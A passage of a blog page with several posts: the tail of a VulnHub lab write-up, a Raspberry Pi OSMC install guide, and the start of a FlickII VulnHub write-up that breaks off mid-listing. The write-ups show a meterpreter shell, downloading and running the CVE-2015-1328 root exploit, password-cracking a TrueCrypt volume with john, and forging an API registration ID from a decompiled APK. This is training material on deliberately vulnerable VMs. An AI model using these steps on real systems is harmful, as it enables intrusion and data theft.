<span class="n">I</span><span class="s1">'m sure you'</span><span class="n">ll</span><span class="w"> </span><span class="n">figure</span><span class="w"> </span><span class="n">it</span><span class="w"> </span><span class="k">out</span><span class="w"> </span><span class="n">it</span><span class="w"> </span><span class="n">won</span><span class="err">'</span><span class="n">t</span><span class="w"> </span><span class="n">rockyou</span><span class="w"> </span><span class="n">too</span><span class="w"> </span><span class="n">much</span><span class="err">!</span>
<span class="k">If</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="k">are</span><span class="w"> </span><span class="n">still</span><span class="w"> </span><span class="n">struggling</span><span class="p">,</span><span class="w"> </span><span class="n">remember</span><span class="w"> </span><span class="n">that</span><span class="w"> </span><span class="n">song</span><span class="w"> </span><span class="k">by</span><span class="w"> </span><span class="n">The</span><span class="w"> </span><span class="n">Jam</span>
<span class="n">Later</span><span class="p">,</span>
<span class="n">Dave</span>
</code></pre></div>
<h2>Privilege escalation</h2>
<p>We need a privilege escalation. Like for
<a href="https://maggick.fr/2015/06/vulnhub-fart-knocker.html#CVE-2015-1328">Fart-knocker</a>
We can use the CVE-2015-1328 exploiting overlayFS to get a root shell on the
machine.</p>
<p>We spawn a shell:</p>
<div class="highlight"><pre><span></span><code>meterpreter > shell
Process 1233 created.
Channel 1 created.
</code></pre></div>
<p>We still have the permissions of <code>www-data</code>:</p>
<div class="highlight"><pre><span></span><code>id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</code></pre></div>
<p>We download the exploit <code>ofs.c</code>:</p>
<div class="highlight"><pre><span></span><code><span class="n">wget</span><span class="w"> </span><span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">download</span><span class="o">/</span><span class="mi">37292</span>
<span class="o">--</span><span class="mi">2016</span><span class="o">-</span><span class="mi">05</span><span class="o">-</span><span class="mi">10</span><span class="w"> </span><span class="mi">15</span><span class="p">:</span><span class="mi">58</span><span class="p">:</span><span class="mi">12</span><span class="o">--</span><span class="w"> </span><span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">download</span><span class="o">/</span><span class="mi">37292</span>
<span class="n">Resolving</span><span class="w"> </span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="w"> </span><span class="p">(</span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="p">)</span><span class="o">...</span><span class="w"> </span><span class="mf">192.124</span><span class="o">.</span><span class="mf">249.8</span>
<span class="n">Connecting</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="w"> </span><span class="p">(</span><span class="n">www</span><span class="o">.</span><span class="n">exploit</span><span class="o">-</span><span class="n">db</span><span class="o">.</span><span class="n">com</span><span class="p">)</span><span class="o">|</span><span class="mf">192.124</span><span class="o">.</span><span class="mf">249.8</span><span class="o">|</span><span class="p">:</span><span class="mf">443.</span><span class="o">..</span><span class="w"> </span><span class="n">connected</span><span class="o">.</span>
<span class="n">HTTP</span><span class="w"> </span><span class="n">request</span><span class="w"> </span><span class="n">sent</span><span class="p">,</span><span class="w"> </span><span class="n">awaiting</span><span class="w"> </span><span class="n">response</span><span class="o">...</span><span class="w"> </span><span class="mi">200</span><span class="w"> </span><span class="n">OK</span>
<span class="n">Length</span><span class="p">:</span><span class="w"> </span><span class="mi">5123</span><span class="w"> </span><span class="p">(</span><span class="mf">5.0</span><span class="n">K</span><span class="p">)</span><span class="w"> </span><span class="p">[</span><span class="n">application</span><span class="o">/</span><span class="n">txt</span><span class="p">]</span>
<span class="n">Saving</span><span class="w"> </span><span class="n">to</span><span class="p">:</span><span class="w"> </span><span class="s1">'37292'</span>
<span class="w"> </span><span class="mi">0</span><span class="n">K</span><span class="w"> </span><span class="o">.....</span><span class="w"> </span><span class="mi">100</span><span class="o">%</span><span class="w"> </span><span class="mi">358</span><span class="n">M</span><span class="o">=</span><span class="mi">0</span><span class="n">s</span>
<span class="mi">2016</span><span class="o">-</span><span class="mi">05</span><span class="o">-</span><span class="mi">10</span><span class="w"> </span><span class="mi">15</span><span class="p">:</span><span class="mi">58</span><span class="p">:</span><span class="mi">12</span><span class="w"> </span><span class="p">(</span><span class="mi">358</span><span class="w"> </span><span class="n">MB</span><span class="o">/</span><span class="n">s</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="s1">'37292'</span><span class="w"> </span><span class="n">saved</span><span class="w"> </span><span class="p">[</span><span class="mi">5123</span><span class="o">/</span><span class="mi">5123</span><span class="p">]</span>
</code></pre></div>
<p>We rename the file:</p>
<div class="highlight"><pre><span></span><code>mv 37292 ofs.c
</code></pre></div>
<p>We compile it and add execution permission:</p>
<div class="highlight"><pre><span></span><code>gcc ofs.c -o ofs
chmod +x ofs
</code></pre></div>
<p>Then we just run it to gain root privileges on the box:</p>
<div class="highlight"><pre><span></span><code>./ofs
collect2: error: ld returned 1 exit status
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
id
# uid=0(root) gid=0(root) groups=0(root),33(www-data)
</code></pre></div>
<p>Okay let us search for the flag:</p>
<div class="highlight"><pre><span></span><code>ls /root/
# dave.tc
</code></pre></div>
<h2>First hint</h2>
<p>It seems we have a truecrypt volume, let's download it on our machine for more
investigation:</p>
<div class="highlight"><pre><span></span><code><span class="n">cp</span><span class="w"> </span><span class="o">/</span><span class="n">root</span><span class="o">/</span><span class="n">dave</span><span class="o">.</span><span class="n">tc</span><span class="w"> </span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">www</span><span class="o">/</span><span class="n">html</span><span class="o">/</span>
</code></pre></div>
<p>Then we can download it directly from the server at <code>http://10.0.2.4/dave.tc</code></p>
<p>We need to extract the hashes from the file to pass them to john, hopefully a
tool exist just for that (we need to compile it):</p>
<div class="highlight"><pre><span></span><code>http://article.gmane.org/gmane.comp.security.openwall.john.user/5320
</code></pre></div>
<p>As the mail mention the academy and the hint mention the rockyou password list,
let us just extract the academy related passwords from it:</p>
<div class="highlight"><pre><span></span><code>grep academy /media/sf_password_lists/rockyou.txt > /tmp/test
</code></pre></div>
<p>We launch john against the file with our partial rockyou list:</p>
<div class="highlight"><pre><span></span><code>john dave.tc.john -w=/tmp/test
Warning: detected hash type "tc_aes_xts", but the string is also recognized as "tc_ripemd160"
Use the "--format=tc_ripemd160" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (tc_aes_xts, TrueCrypt AES256_XTS [SHA512 128/128 AVX 2x /RIPEMD160/WHIRLPOOL])
Loaded hashes with cost 1 (hash algorithm [1:SHA512 2:RIPEMD160 3:Whirlpool]) varying from 1 to 3
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 54.22% (ETA: 17:16:27) 0g/s 59.89p/s 359.3c/s 359.3C/s fordacademy..ffmusicacademy
etonacademy (truecrypt_normal_volume)
1g 0:00:00:03 DONE (2016-05-10 17:16) 0.2724g/s 59.94p/s 331.8c/s 331.8C/s 06academy..!academy
Use the "--show" option to display all of the cracked passwords reliably
Session completed
</code></pre></div>
<p>We mount the container using veracrypt:</p>
<div class="highlight"><pre><span></span><code>veracrypt dave.tc -tc
</code></pre></div>
<p>Let us do a <code>tree -a</code> to see what file we have in this container:</p>
<div class="highlight"><pre><span></span><code>.
├── buller
│ └── BullingdonCrest.jpg
├── lost+found [error opening dir]
├── panama
│ └── shares.jpg
└── .secret
├── piers.png
└── .top
└── flag.txt
5 directories, 4 files
</code></pre></div>
<h2>Conclusion</h2>
<p>Content of ./secret/.top/flag.txt</p>
<div class="highlight"><pre><span></span><code>################################################################################
# ___ ___ _ _ ___ ___ _ _____ _ _ _ _ _____ ___ ___ _ _ ___ #
# / __/ _ \| \| |/ __| _ \ /_\_ _| | | | | /_\_ _|_ _/ _ \| \| |/ __| #
# | (_| (_) | .` | (_ | / / _ \| | | |_| | |__ / _ \| | | | (_) | .` |\__ \ #
# \___\___/|_|\_|\___|_|_\/_/ \_\_| \___/|____/_/ \_\_| |___\___/|_|\_||___/ #
# #
################################################################################
Firstly, thanks for trying this VM. If you have rooted it, well done!
Shout-outs go to #vulnhub for hosting a great learning tool. A special thanks
goes to barrebas and junken for help in testing and final configuration.
--knightmare
</code></pre></div>
<p>It was a nice challenge, mainly for the beginner, probably a lack in the web
part (or the use of metapsloit, spoil myself of some fun exploiting the SQL
injection manually).</p>
<p>Thanks to knightmare for the VM and as always thanks to vulnhub !</p>Installing OSMC without installer2016-04-14T23:49:00+02:002016-04-14T23:49:00+02:00maggicktag:maggick.fr,2016-04-14:/2016/04/installing-osmc-without-installer.html<p>I bought the new raspberry pi 3 with integrated Wi-Fi. Currently I still have a
Ethernet cable running through my living room to my old raspberry pi 1.</p>
<p>Just willing to download the last raspbmc version I figured that it was no more
raspbmc but osmc which is basically the same but with much marketing around it.
The most annoying one is that you need to install an install (such meta). I was
pretty much sure it was not really necessary and moreover there is no version of the
installer for Arch Linux.</p>
<p>I bought the new raspberry pi 3 with integrated Wi-Fi. Currently I still have a
Ethernet cable running through my living room to my old raspberry pi 1.</p>
<p>Just willing to download the last raspbmc version I figured that it was no more
raspbmc but osmc which is basically the same but with much marketing around it.
The most annoying one is that you need to install an install (such meta). I was
pretty much sure it was not really necessary and moreover there is no version of the
installer for Arch Linux.</p>
<p>So instead using their installer you can download directly the image (you need to
click a button to display it) by selecting the right device and the last monthly
version.</p>
<p>After the download just decompress the archive:</p>
<div class="highlight"><pre><span></span><code>gunzip OSMC_TGT_rbp2_20160403.img.gz
</code></pre></div>
<p>Now you will need to know on which device is the sdcard. On Arch Linux with
system d, you may use <code>dmesg</code> to have some info:</p>
<div class="highlight"><pre><span></span><code><span class="p">[</span><span class="w"> </span><span class="m m-Double">953.910932</span><span class="p">]</span><span class="w"> </span><span class="nx">mmc0</span><span class="p">:</span><span class="w"> </span><span class="nx">new</span><span class="w"> </span><span class="nx">high</span><span class="w"> </span><span class="nx">speed</span><span class="w"> </span><span class="nx">SDHC</span><span class="w"> </span><span class="nx">card</span><span class="w"> </span><span class="nx">at</span><span class="w"> </span><span class="nx">address</span><span class="w"> </span><span class="nx">e624</span>
<span class="p">[</span><span class="w"> </span><span class="m m-Double">953.973940</span><span class="p">]</span><span class="w"> </span><span class="nx">mmcblk0</span><span class="p">:</span><span class="w"> </span><span class="nx">mmc0</span><span class="p">:</span><span class="nx">e624</span><span class="w"> </span><span class="nx">SD04G</span><span class="w"> </span><span class="m m-Double">3.69</span><span class="w"> </span><span class="nx">GiB</span>
<span class="p">[</span><span class="w"> </span><span class="m m-Double">953.982627</span><span class="p">]</span><span class="w"> </span><span class="nx">mmcblk0</span><span class="p">:</span><span class="w"> </span><span class="nx">p1</span><span class="w"> </span><span class="nx">p2</span>
</code></pre></div>
<p>On my own computer the sdcard is named mmcblk0 and have two partition <code>p1</code> and
<code>p2</code>. From there you just need to copy the image to your sdcard (be sure to
remove the <code>p1</code> or <code>p2</code> if any, you need to write directly on the disk <strong>NOT</strong>
on the partition):</p>
<div class="highlight"><pre><span></span><code>dd if=OSMC_TGT_rbp2_20160403.img of=/dev/mmcblk0
</code></pre></div>
<p>Then put the sdcard back on the raspberry pi and OSMC will install itself on the
device. Next it will prompt you with the home screen and guide you through the
first install settings. You will need to set language, location, wireless
password and so on.</p>
<p>If you need to connect to osmc, default username and password are:</p>
<div class="highlight"><pre><span></span><code><span class="n">username</span><span class="o">:</span><span class="w"> </span><span class="n">osmc</span>
<span class="n">password</span><span class="o">:</span><span class="w"> </span><span class="n">osmc</span>
</code></pre></div>
<p>If you need to add a SMB shared folder with authentication you will need to add
the share normally, get the error and then directly connect to the OSMC with
SSH and modify the XML file located at <code>home/osmc/.kodi/userdata/sources.xml</code> by
adding the user and password as in the following:</p>
<div class="highlight"><pre><span></span><code><span class="o"><</span><span class="n">sources</span><span class="o">></span>
<span class="w"> </span><span class="p">...</span>
<span class="w"> </span><span class="o"><</span><span class="n">video</span><span class="o">></span>
<span class="w"> </span><span class="o"><</span><span class="k">default</span><span class="w"> </span><span class="n">pathversion</span><span class="o">=</span><span class="s">"1"</span><span class="o">><!--</span--><span class="k">default</span><span class="o">></span>
<span class="w"> </span><span class="o"><</span><span class="n">source</span><span class="o">></span>
<span class="w"> </span><span class="o"><</span><span class="n">name</span><span class="o">></span><span class="n">Prime</span><span class="o"><!--</span--><span class="n">name</span><span class="o">></span>
<span class="w"> </span><span class="o"><</span><span class="n">path</span><span class="w"> </span><span class="n">pathversion</span><span class="o">=</span><span class="s">"1"</span><span class="o">></span><span class="n">smb</span><span class="o">:</span><span class="c1">//user:password@10.0.0.111/video/</span>
<span class="w"> </span><span class="o"><!--</span--><span class="n">source</span><span class="o">></span>
<span class="w"> </span><span class="o"><!--</span--><span class="n">video</span><span class="o">></span>
<span class="w"> </span><span class="p">...</span>
<span class="o"><!--</span--><span class="n">sources</span><span class="o">></span>
</span></span></span></span></span></code></pre></div>
<p>Save, <strong>REBOOT</strong>, and it will work.</p>Vulnhub - FlickII2016-03-13T20:43:00+01:002016-03-13T20:43:00+01:00maggicktag:maggick.fr,2016-03-13:/2016/03/vulnhub-flickii.html<p><img alt="FlickII" class="align-left" src="/media/2016.03/flickii.png" width="162"/></p>
<p>Still playing with the vulnhub machines this time it is the turn of FlickII.
This one is different from the others as it has an android application
associated. It would be a great exercice to play with mobile application,
decompile it and see what is in the inside.</p>
<p><img alt="FlickII" class="align-left" src="/media/2016.03/flickii.png" width="162"/></p>
<p>Still playing with the vulnhub machines this time it is the turn of FlickII.
This one is different from the others as it has an android application
associated. It would be a great exercice to play with mobile application,
decompile it and see what is in the inside.</p>
<p>[TOC]</p>
<h2>Host discovery</h2>
<p>Connecting to host-only network:</p>
<div class="highlight"><pre><span></span><code><span class="nx">sudo</span><span class="w"> </span><span class="nx">ip</span><span class="w"> </span><span class="kd">addr</span><span class="w"> </span><span class="nx">add</span><span class="w"> </span><span class="m m-Double">192.168.56.1</span><span class="o">/</span><span class="mi">24</span><span class="w"> </span><span class="nx">dev</span><span class="w"> </span><span class="nx">vboxnet</span>
</code></pre></div>
<p>Scanning the network to find the virtual machine IP address:</p>
<div class="highlight"><pre><span></span><code><span class="p">[</span><span class="nx">maggick</span><span class="err">@</span><span class="nx">rootine</span><span class="w"> </span><span class="nx">flick</span><span class="o">-</span><span class="nx">check</span><span class="o">-</span><span class="nx">dist</span><span class="p">]</span><span class="err">$</span><span class="w"> </span><span class="nx">nmap</span><span class="w"> </span><span class="o">-</span><span class="nx">sn</span><span class="w"> </span><span class="m m-Double">192.168.56.1</span><span class="o">/</span><span class="mi">24</span>
<span class="nx">Starting</span><span class="w"> </span><span class="nx">Nmap</span><span class="w"> </span><span class="m m-Double">7.01</span><span class="w"> </span><span class="p">(</span><span class="w"> </span><span class="nx">https</span><span class="p">:</span><span class="c1">//nmap.org ) at 2015-12-30 18:41 CET</span>
<span class="nx">Nmap</span><span class="w"> </span><span class="nx">scan</span><span class="w"> </span><span class="nx">report</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="m m-Double">192.168.56.1</span>
<span class="nx">Host</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="nx">up</span><span class="w"> </span><span class="p">(</span><span class="m m-Double">0.00061</span><span class="nx">s</span><span class="w"> </span><span class="nx">latency</span><span class="p">).</span>
<span class="nx">Nmap</span><span class="w"> </span><span class="nx">scan</span><span class="w"> </span><span class="nx">report</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="m m-Double">192.168.56.101</span>
<span class="nx">Host</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="nx">up</span><span class="w"> </span><span class="p">(</span><span class="m m-Double">0.00097</span><span class="nx">s</span><span class="w"> </span><span class="nx">latency</span><span class="p">).</span>
<span class="nx">Nmap</span><span class="w"> </span><span class="nx">done</span><span class="p">:</span><span class="w"> </span><span class="mi">256</span><span class="w"> </span><span class="nx">IP</span><span class="w"> </span><span class="nx">addresses</span><span class="w"> </span><span class="p">(</span><span class="mi">2</span><span class="w"> </span><span class="nx">hosts</span><span class="w"> </span><span class="nx">up</span><span class="p">)</span><span class="w"> </span><span class="nx">scanned</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="m m-Double">2.45</span><span class="w"> </span><span class="nx">seconds</span>
</code></pre></div>
<p>Scanning the virtual machine to find open ports:</p>
<div class="highlight"><pre><span></span><code><span class="p">[</span><span class="nx">maggick</span><span class="err">@</span><span class="nx">rootine</span><span class="w"> </span><span class="nx">flick</span><span class="o">-</span><span class="nx">check</span><span class="o">-</span><span class="nx">dist</span><span class="p">]</span><span class="err">$</span><span class="w"> </span><span class="nx">nmap</span><span class="w"> </span><span class="o">-</span><span class="nx">p0</span><span class="o">-</span><span class="mi">65535</span><span class="w"> </span><span class="m m-Double">192.168.56.101</span><span class="w"> </span><span class="o">-</span><span class="nx">T4</span>
<span class="nx">Starting</span><span class="w"> </span><span class="nx">Nmap</span><span class="w"> </span><span class="m m-Double">7.01</span><span class="w"> </span><span class="p">(</span><span class="w"> </span><span class="nx">https</span><span class="p">:</span><span class="c1">//nmap.org ) at 2015-12-30 18:50 CET</span>
<span class="nx">Nmap</span><span class="w"> </span><span class="nx">scan</span><span class="w"> </span><span class="nx">report</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="m m-Double">192.168.56.101</span>
<span class="nx">Host</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="nx">up</span><span class="w"> </span><span class="p">(</span><span class="m m-Double">0.00088</span><span class="nx">s</span><span class="w"> </span><span class="nx">latency</span><span class="p">).</span>
<span class="nx">Not</span><span class="w"> </span><span class="nx">shown</span><span class="p">:</span><span class="w"> </span><span class="mi">65534</span><span class="w"> </span><span class="nx">filtered</span><span class="w"> </span><span class="nx">ports</span>
<span class="nx">PORT</span><span class="w"> </span><span class="nx">STATE</span><span class="w"> </span><span class="nx">SERVICE</span>
<span class="mi">80</span><span class="o">/</span><span class="nx">tcp</span><span class="w"> </span><span class="nx">closed</span><span class="w"> </span><span class="nx">http</span>
<span class="mi">443</span><span class="o">/</span><span class="nx">tcp</span><span class="w"> </span><span class="nx">open</span><span class="w"> </span><span class="nx">https</span>
<span class="nx">Nmap</span><span class="w"> </span><span class="nx">done</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="nx">IP</span><span class="w"> </span><span class="nx">address</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="w"> </span><span class="nx">host</span><span class="w"> </span><span class="nx">up</span><span class="p">)</span><span class="w"> </span><span class="nx">scanned</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="m m-Double">123.28</span><span class="w"> </span><span class="nx">seconds</span>
</code></pre></div>
<h2>APK analysis</h2>
<p>We got an apk. If we unzip it we got lots of xml files and a dex file.</p>
<div class="highlight"><pre><span></span><code><span class="n">ls</span><span class="w"> </span><span class="o">~/</span><span class="n">Downloads</span><span class="o">/</span><span class="n">flickII</span><span class="o">/</span><span class="n">flick</span><span class="o">-</span><span class="n">check</span><span class="o">-</span><span class="n">dist</span>
<span class="n">AndroidManifest</span><span class="o">.</span><span class="n">xml</span><span class="w"> </span><span class="n">classes</span><span class="o">.</span><span class="n">dex</span><span class="w"> </span><span class="n">META</span><span class="o">-</span><span class="bp">INF</span><span class="w"> </span><span class="n">README</span><span class="w"> </span><span class="n">res</span><span class="w"> </span><span class="n">resources</span><span class="o">.</span><span class="n">arsc</span>
</code></pre></div>
<p>There is a lot of tool in order to decompile and APK and get class files or jar
files like dare (link is dead),
<a href="http://sourceforge.net/projects/dex2jar/">dex2jar</a> and more.</p>
<p>I tried to use dare to convert dex file to Java bytecode but there was an issue
between my 64 bits Arch Linux system and the 32 bits executable. I didn't dig
this issue and just go for dex2jar:</p>
<div class="highlight"><pre><span></span><code>sh d2j-dex2jar.sh flick-check-dist.apk
</code></pre></div>
<p>From there I use <a href="http://www.benf.org/other/cfr/">cfr</a> to decompile the jar file
to Java files and human readable code.</p>
<div class="highlight"><pre><span></span><code>java -jar cfr_0_110.jar flickII/flick-check-dist-dex2jar.jar --outputdir flickII/flick-check-dist-cfr-java/
</code></pre></div>
<p>We got the decompiled code. The interesting part of the application is the
com/flick/flickeck folder:</p>
<div class="highlight"><pre><span></span><code>├── com
│ ├── flick
│ │ └── flickcheck
│ │ ├── BuildConfig.java
│ │ ├── CallApi.java
│ │ ├── CommandActivity.java
│ │ ├── DoRegisterActivity.java
│ │ ├── MainActivity.java
│ │ ├── PubKeyManager.java
│ │ ├── ReadApiServerActivity.java
│ │ ├── RegisterActivity.java
│ │ └── R.java
</code></pre></div>
<p>We take a look at each file in this directory in order to understand the
application goal and how it works.</p>
<h3>API token and DoRegisterActivity.java</h3>
<p>The file DoRegisterActivity.java show us how to register a new device. By
testing the URL presented in the file we got:</p>
<div class="highlight"><pre><span></span><code>[maggick@rootine ~]$ curl https://192.168.56.101/register/new --insecure
{"error":"This method is not allowed for the requested resource."}
</code></pre></div>
<p>We lack an ID to "authenticate" ourself. The line 70 to 75 show us how to get
this ID:</p>
<div class="highlight"><pre><span></span><code><span class="n">Object</span><span class="w"> </span><span class="n">object2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">TelephonyManager</span><span class="p">)</span><span class="k">this</span><span class="p">.</span><span class="na">getBaseContext</span><span class="p">().</span><span class="na">getSystemService</span><span class="p">(</span><span class="s">"phone"</span><span class="p">);</span>
<span class="n">object</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">""</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">object2</span><span class="p">.</span><span class="na">getDeviceId</span><span class="p">();</span>
<span class="n">object2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">""</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">object2</span><span class="p">.</span><span class="na">getSimSerialNumber</span><span class="p">();</span>
<span class="n">object</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">UUID</span><span class="p">((</span><span class="s">""</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">Settings</span><span class="p">.</span><span class="na">Secure</span><span class="p">.</span><span class="na">getString</span><span class="p">((</span><span class="n">ContentResolver</span><span class="p">)</span><span class="k">this</span><span class="p">.</span><span class="na">getContentResolver</span><span class="p">(),</span><span class="w"> </span><span class="p">(</span><span class="n">String</span><span class="p">)</span><span class="s">"android_id"</span><span class="p">)).</span><span class="na">hashCode</span><span class="p">(),</span><span class="w"> </span><span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">object</span><span class="p">.</span><span class="na">hashCode</span><span class="p">()</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">32</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">object2</span><span class="p">.</span><span class="na">hashCode</span><span class="p">()).</span><span class="na">toString</span><span class="p">();</span>
<span class="n">object2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="na">getSharedPreferences</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="na">getString</span><span class="p">(</span><span class="mi">2131099666</span><span class="p">),</span><span class="w"> </span><span class="mi">0</span><span class="p">).</span><span class="na">getString</span><span class="p">(</span><span class="s">"api_server"</span><span class="p">,</span><span class="w"> </span><span class="kc">null</span><span class="p">);</span>
<span class="k">new</span><span class="w"> </span><span class="n">CallAPI</span><span class="p">().</span><span class="na">execute</span><span class="p">((</span><span class="n">Object</span><span class="o">[]</span><span class="p">)</span><span class="k">new</span><span class="w"> </span><span class="n">String</span><span class="o">[]</span><span class="p">{</span><span class="s">"https://"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">String</span><span class="p">)</span><span class="n">object2</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s">"/register/new"</span><span class="p">,</span><span class="w"> </span><span class="n">object</span><span class="p">});</span>
</code></pre></div>
<p>Let us wrote some Java to generate this ID for us:</p>
<p>Our <code>object</code> and <code>object2</code> variables are named generically by the debugger. We
can see in the code above that <code>object</code> is a string containing the device ID and
that <code>object2</code> is a string containing the serial number of the Sim card.
Moreover the line where the code generate the new UUID (see the
<a href="http://docs.oracle.com/javase/1.5.0/docs/api/java/util/UUID.html">javadoc</a> for
more information about this object) use an other variable accessible on the
phone: the android ID.</p>
<p>With all this information we come easily with the following code:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span><span class="w"> </span><span class="nn">java.util.UUID</span><span class="p">;</span>
<span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">HelloWorld</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="n">String</span><span class="o">[]</span><span class="w"> </span><span class="n">args</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">deviceId</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"12345"</span><span class="p">;</span>
<span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">SimSerialNumber</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"67890"</span><span class="p">;</span>
<span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">androidId</span><span class="o">=</span><span class="w"> </span><span class="s">"34567"</span><span class="p">;</span>
<span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">code</span><span class="o">=</span><span class="s">""</span><span class="p">;</span>
<span class="w"> </span><span class="n">code</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">UUID</span><span class="p">(</span><span class="n">androidId</span><span class="p">.</span><span class="na">hashCode</span><span class="p">(),</span><span class="w"> </span><span class="n">deviceId</span><span class="p">.</span><span class="na">hashCode</span><span class="p">()</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">32</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">SimSerialNumber</span><span class="p">.</span><span class="na">hashCode</span><span class="p">()).</span><span class="na">toString</span><span class="p">();</span>
<span class="w"> </span><span class="n">System</span><span class="p">.</span><span class="na">out</span><span class="p">.</span><span class="na">println</span><span class="p">(</span><span class="n">code</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>We compile this code with <code>javac</code> and execute it with <code>java</code> (yeah I have named
it HelloWorld):</p>
<div class="highlight"><pre><span></span><code>[maggick@rootine ~]$ java HelloWorld
00000000-02e7-1fb5-0000-000003daceff
</code></pre></div>
<p>We can now try again the URL with this UUID sent in a post parameter:</p>
<div class="highlight"><pre><span></span><code>[maggick@rootine ~]$ curl --data 'uuid=00000000-02e7-1fb5-0000-000003daceff' https://192.168.56.101/register/new --insecure
{"registered":"ok","message":"The requested UUID is now registered.","token":"t6nsb2SrfYKqsp8JIdbEscwfwA6JEeUh"}
</code></pre></div>
<p>Great we are registered, what's next?</p>
<h3>Command execution and CommandActivity.java</h3>
<p>Line 111 in the file <code>CommandActivity.java</code> we see the doCmd method that seems
to execute commands on the server via HTTP:</p>
<div class="highlight"><pre><span></span><code><span class="kd">public</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">doCmd</span><span class="p">(</span><span class="n">View</span><span class="w"> </span><span class="n">object</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">Toast</span><span class="p">.</span><span class="na">makeText</span><span class="p">((</span><span class="n">Context</span><span class="p">)</span><span class="k">this</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">CharSequence</span><span class="p">)(</span><span class="s">"Running command: "</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">object</span><span class="p">.</span><span class="na">getTag</span><span class="p">().</span><span class="na">toString</span><span class="p">()),</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="mi">0</span><span class="p">).</span><span class="na">show</span><span class="p">();</span>
<span class="w"> </span><span class="n">object</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Base64</span><span class="p">.</span><span class="na">encodeToString</span><span class="p">((</span><span class="kt">byte</span><span class="o">[]</span><span class="p">)</span><span class="n">object</span><span class="p">.</span><span class="na">getTag</span><span class="p">().</span><span class="na">toString</span><span class="p">().</span><span class="na">getBytes</span><span class="p">(),</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="n">Object</span><span class="w"> </span><span class="n">object2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">TelephonyManager</span><span class="p">)</span><span class="k">this</span><span class="p">.</span><span class="na">getBaseContext</span><span class="p">().</span><span class="na">getSystemService</span><span class="p">(</span><span class="s">"phone"</span><span class="p">);</span>
